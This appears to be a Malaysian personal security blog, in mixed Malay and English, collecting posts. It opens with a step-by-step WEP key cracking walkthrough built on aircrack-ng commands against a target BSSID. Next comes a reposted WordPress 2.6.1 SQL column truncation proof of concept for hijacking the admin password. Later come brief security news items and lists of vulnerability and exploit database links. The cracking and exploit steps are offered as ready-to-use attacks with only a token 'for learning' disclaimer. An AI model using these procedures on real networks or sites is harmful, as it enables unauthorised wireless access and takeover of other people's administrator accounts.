Cracking WEP key's

Salam,
Saja ja tulis supaya tak lupa (**DISCLAIMER : hanya untuk pembelajaran)

Install aircrack-ng

*debian base distro(ubuntu, mepis..bla bla bla..)
sudo apt-get install aircrack-ng

*RH base distro (CentOS, Fedora..blabla..)
yum install aircarack-ng


Pastu mulakan aircrack-ng dan bair ia search wlan network

sudo airodump-ng wlan0

kemudian pilih "channel" untuk dump IV's
(contoh disini kita gunakan channel 11... kalau detect channel ntv9 pon bole..ehehe)

sudo airodump-ng -c 11 -w dump wlan0

tunggu sampai ia collect 500K IV's

sudo aircrack-ng -b 0a:0b:0c:0d:0e:0f dump-01.cap

NOTE: The MAC after the -b option is the BSSID of the target and dump-01.cap the file containing the captured packets.

Tunggu.. walla..

Settle... muahh..hehe

WordPress SQL Column Truncation Vulnerability (PoC)

A vulnerability in WordPress's way of handling new user registration allows attackers to create a duplicate 'admin' account whose email address is set to a value different than the default one. This is then used with the password recovery mechanism to retrieve the password of the true 'admin' account.

Vulnerable Systems:
* WordPress version 2.6.1

Exploit:
1. Go to URL: server.com/wp-login.php?action=register
2. Register as:
login: admin x (the user admin[55 space chars]x)
email: your email

Now, we have duplicated 'admin' account in database

3. Go to URL: server.com/wp-login.php?action=lostpassword
4. Write your email into field and submit this form
5. Check your email and go to reset confirmation link
6. Admin's password changed, but new password will be send to correct admin email

Additional Information:
The information has been provided by irk4z.
The original article can be found at: http://irk4z.wordpress.com/

Google Chrome browser release !!!

Google chrome already release..

read here and here

Happy browsing/surfing.

Older sec-flaw here

Revealed: The Internet's Biggest Security Hole

Two security researchers have demonstrated a new technique to stealthily intercept internet traffic on a scale previously presumed to be unavailable to anyone outside of intelligence agencies like the National Security Agency.

The tactic exploits the internet routing protocol BGP (Border Gateway Protocol) to let an attacker surreptitiously monitor unencrypted internet traffic anywhere in the world, and even modify it before it reaches its destination.

Read the rest here

Comp-Security Link

vulnerabilities

http://www.osvdb.org/
http://www.securityfocus.com/bid
http://www.packetstormsecurity.org/ http://www3.ca.com/securityadvisor/vulninfo/
http://secunia.com/product/ http://www.security.nnov.ru
http://cve.mitre.org/
http://elsenot.com/index.php?title=ElseNot_Project
http://www.cisecurity.org/
http://secwatch.org/
http://www.securiteam.com/

exploits

http://milw0rm.com/
http://www.frsirt.com/exploits/
http://www.metasploit.com/projects/Framework/
http://www.security.nnov.ru/exploits/
http://www.securityforest.com/wiki/index.php/Category:ExploitTree
http://www.exploitdatabase.com/
http://securitydot.net/
http://www.hoobie.net/security/exploits/index.html
http://www.securiteam.com/exploits/

Test Machine/Image
http://www.owasp.org/index.php/Category:OWASP_Live_CD_Project
http://www.damnvulnerablelinux.org/

New Nmap Features

Read here

Intel BIOS Plain Text Password Disclosure

Synopsis

Like most BIOSes, Intel's firmware PE94510M.86A.0050.2007.0710.1559 (07/10/2007) can be used to ask a password to users at boot time to implement a pre-boot authentication.

The password checking routine of this firmware fails to sanitize the BIOS keyboard buffer after reading user input, resulting in plain text password leakage to local users.

Read full Technicl Whitepaper. Here

HTTPS not safe anymore???

Read Here
http://resources.enablesecurity.com/resources/Surf%20Jacking.pdf

Tools
http://code.google.com/p/surfjack/